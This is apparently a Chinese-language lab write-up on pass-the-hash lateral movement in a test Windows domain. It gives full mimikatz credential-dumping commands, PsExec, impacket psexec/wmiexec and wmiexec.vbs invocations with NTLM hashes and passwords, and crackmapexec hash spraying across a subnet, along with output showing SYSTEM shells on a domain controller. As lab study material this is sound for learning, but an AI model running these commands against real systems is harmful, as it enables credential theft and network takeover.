环境:
- win7
192.168.177.134/24
- kali
192.168.177.129/24
- 12server-01
192.168.177.119/24
- 12server-dc
192.168.177.120/24
原理
- pass-the-hash 在内网渗透中是一种很经典的攻击方式,因为黑客可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
- 在 Windows 系统中,通常会使用 NTLM 身份认证。
- NTLM 认证不使用明文口令,而是使用口令加密后的hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)。
- hash 分为 LM hash 和 NT hash,如果密码长度大于15,那么无法生成LMhash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用LMhash。
- 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户。
mimikatz
在 12server-01 运行以下命令获取 NTLM
C:\Users\test\Desktop\mimikatz_trunk\x64>mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">password.txt
在 12server-01 上以管理员权限使用 mimikatz,hash利用上面获取的,成功调出终端
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:e19ccf75ee54e06b06a5907af13cef42
在其他主机上用这个 NTLM 好像也能调出终端,但我遇见点小问题,所以这里没成功。
psexec
psexec 是 windows 官方自带的,不存在查杀问题。
在 pstools 中利用 psexec 可以在远程计算机上执行命令,其基本原理:通过管道在远程目标主机上创建一个 psexec 服务,并在本地生成一个 psexesvc 的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。
利用 SMB 服务可以通过明文或 hash 传递来远程执行,前提条件:445 服务端口开放(相当于开放了 smb 协议)。
注意事项
- 远程系统开启 admin$ 开启(默认开启)
- 因为 psexec 连接的原理是基于 IPC 共享的,因此目标需要开放 445 端口
- 在使用 psexec 执行远程命令式,会在目标系统创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
- 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell
- 在域环境测试时发现,非域用户无法利用内存中的票据使用PsExec 功能,只能依靠账号和密码进行传递。
方法一
win7 使用 PsExec 工具远程连接 12server-01 服务器。
PsExec.exe /accepteula /s \\192.168.177.119 -u Administrator -p P@ssw0rd cmd
方法二
登录域成员
在 kali 中用 impacket 包下的 psexec 结合 NTLM 调出终端
┌──(root㉿lihao)-[~/Desktop/impacket-master/examples]
└─# python3 psexec.py -hashes aaaa:e19ccf75ee54e06b06a5907af13cef42 ./Administrator@192.168.177.119
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Requesting shares on 192.168.177.119.....
[*] Found writable share ADMIN$
[*] Uploading file CTfKaEwM.exe
[*] Opening SVCManager on 192.168.177.119.....
[*] Creating service dyYx on 192.168.177.119.....
[*] Starting service dyYx.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.3.9600]
(c) 2013 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú
C:\Windows\system32>ipconfig
Windows IP ┼Σ╓├
╥╘╠½═°╩╩┼Σ╞≈ Ethernet0:
┴¼╜╙╠╪╢¿╡─ DNS ║≤╫║ . . . . . . . :
▒╛╡╪┴┤╜╙ IPv6 ╡╪╓╖. . . . . . . . : fe80::64b0:83c8:1d58:44eb%12
IPv4 ╡╪╓╖ . . . . . . . . . . . . : 192.168.177.119
╫╙═°╤┌┬δ . . . . . . . . . . . . : 255.255.255.0
─¼╚╧═°╣╪. . . . . . . . . . . . . : 192.168.177.2
╦φ╡└╩╩┼Σ╞≈ isatap.{DA36902B-CF3E-482E-A260-6E8DE6295090}:
├╜╠σ╫┤╠¼ . . . . . . . . . . . . : ├╜╠σ╥╤╢╧┐¬
┴¼╜╙╠╪╢¿╡─ DNS ║≤╫║ . . . . . . . :
登录域控
┌──(root㉿lihao)-[~/Desktop/impacket-master/examples]
└─# python3 psexec.py moonsec/Administrator@192.168.177.120
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
Password:
[*] Requesting shares on 192.168.177.120.....
[*] Found writable share ADMIN$
[*] Uploading file BoHrJhLr.exe
[*] Opening SVCManager on 192.168.177.120.....
[*] Creating service fsqM on 192.168.177.120.....
[*] Starting service fsqM.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.3.9600]
(c) 2013 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>ipconfig
Windows IP ┼Σ╓├
╥╘╠½═°╩╩┼Σ╞≈ Ethernet0:
┴¼╜╙╠╪╢¿╡─ DNS ║≤╫║ . . . . . . . :
▒╛╡╪┴┤╜╙ IPv6 ╡╪╓╖. . . . . . . . : fe80::8013:6c69:3dcc:c4cf%12
IPv4 ╡╪╓╖ . . . . . . . . . . . . : 192.168.177.120
╫╙═°╤┌┬δ . . . . . . . . . . . . : 255.255.255.0
─¼╚╧═°╣╪. . . . . . . . . . . . . : 192.168.177.2
╦φ╡└╩╩┼Σ╞≈ isatap.{73872ACF-A392-4C0C-B7FE-84F1C096DB1D}:
├╜╠σ╫┤╠¼ . . . . . . . . . . . . : ├╜╠σ╥╤╢╧┐¬
┴¼╜╙╠╪╢¿╡─ DNS ║≤╫║ . . . . . . . :
C:\Windows\system32>
方法三
建立 IPC$
C:\Users\CISP>net use \\192.168.177.119\ipc$ "P@ssw0rd" /user:administrator
命令成功完成。
C:\Users\CISP>dir \\192.168.177.119\c$
驱动器 \\192.168.177.119\c$ 中的卷没有标签。
卷的序列号是 4E38-4215
\\192.168.177.119\c$ 的目录
2013/08/22 23:52 <DIR> PerfLogs
2024/08/26 15:01 <DIR> Program Files
2013/08/22 23:39 <DIR> Program Files (x86)
2024/09/10 21:15 <DIR> Users
2024/09/11 21:58 <DIR> Windows
0 个文件 0 字节
5 个目录 52,824,035,328 可用字节
建立 IPC$ 连接后再调用终端就不用账密了,但是我这里调不出来,闪退
利用 msf hash 模块
先跳过了
crackmapexec
CrackMapExec 可以对 C 段中的主机进行批量 pth。
┌──(root㉿lihao)-[~/Desktop/impacket-master/examples]
└─# crackmapexec smb 192.168.177.0/24 -u administrator -H e19ccf75ee54e06b06a5907af13cef42
SMB 192.168.177.1 445 DORAEMON0358 [*] Windows 11 Build 22621 x64 (name:DORAEMON0358) (domain:Doraemon0358) (signing:False) (SMBv1:False)
SMB 192.168.177.1 445 DORAEMON0358 [-] Doraemon0358\administrator:e19ccf75ee54e06b06a5907af13cef42 STATUS_LOGON_FAILURE
SMB 192.168.177.120 445 12SERVER-DC [*] Windows Server 2012 R2 Standard 9600 x64 (name:12SERVER-DC) (domain:moonsec.fbi) (signing:True) (SMBv1:True)
SMB 192.168.177.119 445 12SERVER-01 [*] Windows Server 2012 R2 Standard 9600 x64 (name:12SERVER-01) (domain:moonsec.fbi) (signing:False) (SMBv1:True)
SMB 192.168.177.120 445 12SERVER-DC [+] moonsec.fbi\administrator:e19ccf75ee54e06b06a5907af13cef42 (Pwn3d!)
SMB 192.168.177.134 445 CISP-PC [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:CISP-PC) (domain:CISP-PC) (signing:False) (SMBv1:True)
SMB 192.168.177.119 445 12SERVER-01 [+] moonsec.fbi\administrator:e19ccf75ee54e06b06a5907af13cef42 (Pwn3d!)
SMB 192.168.177.134 445 CISP-PC [-] CISP-PC\administrator:e19ccf75ee54e06b06a5907af13cef42 STATUS_LOGON_FAILURE
命令
-H e19ccf75ee54e06b06a5907af13cef42
:指定要尝试的 NTLM 哈希值。这是一个用于认证的密码哈希值
-
SMB 192.168.177.1 445 DORAEMON0358 [*] Windows 11 Build 22621 x64 (name:DORAEMON0358) (domain:Doraemon0358) (signing:False) (SMBv1:False)
- IP 地址:
192.168.177.1
- 端口:
445
(SMB 的默认端口) - 计算机名称:
DORAEMON0358
- 状态:
[*]
表示发现了一个 SMB 服务正在运行 - 系统信息:Windows 11 Build 22621 x64
- 域名:Doraemon0358
- 签名:False(SMB 签名未启用)
- SMB 版本:SMBv1 未启用
认证结果:
Doraemon0358\administrator:e19ccf75ee54e06b06a5907af13cef42 STATUS_LOGON_FAILURE
表示提供的哈希值无法成功登录。 - IP 地址:
-
SMB 192.168.177.120 445 12SERVER-DC [*] Windows Server 2012 R2 Standard 9600 x64 (name:12SERVER-DC) (domain:moonsec.fbi) (signing:True) (SMBv1:True)
- IP 地址:
192.168.177.120
- 计算机名称:
12SERVER-DC
- 系统信息:Windows Server 2012 R2 Standard 9600 x64
- 域名:moonsec.fbi
- 签名:True(SMB 签名启用)
- SMB 版本:SMBv1 启用
认证结果:
moonsec.fbi\administrator:e19ccf75ee54e06b06a5907af13cef42 (Pwn3d!)
表示提供的哈希值成功登录,并且账户被标记为“Pwn3d” (被攻陷)。 - IP 地址:
-
SMB 192.168.177.119 445 12SERVER-01 [*] Windows Server 2012 R2 Standard 9600 x64 (name:12SERVER-01) (domain:moonsec.fbi) (signing:False) (SMBv1:True)
- IP 地址:
192.168.177.119
- 计算机名称:
12SERVER-01
- 系统信息:Windows Server 2012 R2 Standard 9600 x64
- 域名:moonsec.fbi
- 签名:False(SMB 签名未启用)
- SMB 版本:SMBv1 启用
认证结果:
moonsec.fbi\administrator:e19ccf75ee54e06b06a5907af13cef42 (Pwn3d!)
表示提供的哈希值成功登录,并且账户被标记为“Pwn3d”。 - IP 地址:
-
SMB 192.168.177.134 445 CISP-PC [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:CISP-PC) (domain:CISP-PC) (signing:False) (SMBv1:True)
- IP 地址:
192.168.177.134
- 计算机名称:
CISP-PC
- 系统信息:Windows 7 Ultimate 7601 Service Pack 1 x64
- 域名:CISP-PC
- 签名:False(SMB 签名未启用)
- SMB 版本:SMBv1 启用
认证结果:
CISP-PC\administrator:e19ccf75ee54e06b06a5907af13cef42 STATUS_LOGON_FAILURE
表示提供的哈希值无法成功登录。 - IP 地址:
WMI
WMI 全称Windows Management Instrumentation
即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。
由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将 PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。
wmic 命令
在终端中用 wmic 执行命令,将执行结果保存在目标主机;之后建立 IPC$,使用 type 读取执行结果。
使用 wmic 连接远程主机,需要目标主机开放 135 端口(wmic 默认的管理端口),445 端口(wmicexec 使用此端口传回显)。
但是我又遇到问题了(写到 12server01 上了呀,但找不见),先跳过
wmiexec.py
利用 kali 上的 impacket 包里的 wmiexec.py 脚本获取 shell
┌──(root㉿lihao)-[~/Desktop/impacket-master/examples]
└─# python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.177.119 "whoami"
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
12server-01\administrator
获取明文 shell
┌──(root㉿lihao)-[~/Desktop/impacket-master/examples]
└─# python3 wmiexec.py administrator:P@ssw0rd@192.168.177.119
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
12server-01\administrator
C:\>
wmiexec.vbs
利用 wmiexec.vbs 脚本(脚本通过 VBS 调用 wmi 来模拟 psexec 的功能)
C:\Users\CISP>cd Desktop
C:\Users\CISP\Desktop>cscript //nologo wmiexec.vbs /shell 192.168.177.119 admini
strator P@ssw0rd
WMIEXEC : Target -> 192.168.177.119
WMIEXEC : Connecting...
WMIEXEC : Login -> OK
WMIEXEC : Result File -> C:\wmi.dll
WMIEXEC : Share created sucess.
WMIEXEC : Share Name -> WMI_SHARE
WMIEXEC : Share Path -> C:\
C:\Windows\system32>ipconfig
Windows IP 配置
以太网适配器 Ethernet0:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::64b0:83c8:1d58:44eb%12
IPv4 地址 . . . . . . . . . . . . : 192.168.177.119
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.177.2
隧道适配器 isatap.{DA36902B-CF3E-482E-A260-6E8DE6295090}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
C:\Windows\system32>
使用 vmiexec.vbs 执行单条命令
C:\Users\CISP\Desktop>cscript wmiexec.vbs /cmd 192.168.177.119 administrator P@s
sw0rd "ipconfig"
Microsoft (R) Windows Script Host Version 5.8
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
WMIEXEC : Target -> 192.168.177.119
WMIEXEC : Connecting...
WMIEXEC : Login -> OK
WMIEXEC : Result File -> C:\wmi.dll
WMIEXEC ERROR: Share could not be created.
WMIEXEC ERROR: Return value -> 22
WMIEXEC ERROR: Share Name Already In Used!
192.168.177.119 >> ipconfig
Windows IP 配置
以太网适配器 Ethernet0:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::64b0:83c8:1d58:44eb%12
IPv4 地址 . . . . . . . . . . . . : 192.168.177.119
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.177.2
隧道适配器 isatap.{DA36902B-CF3E-482E-A260-6E8DE6295090}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
WMIEXEC : Share deleted sucess.
C:\Users\CISP\Desktop>
其他
Invoke-WmiCommand.ps1
是PowerSploit
工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。
Invoke-WMIMethod
是 PowerShell
自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。
wmic 还有一些其他命令
参考:暗月师傅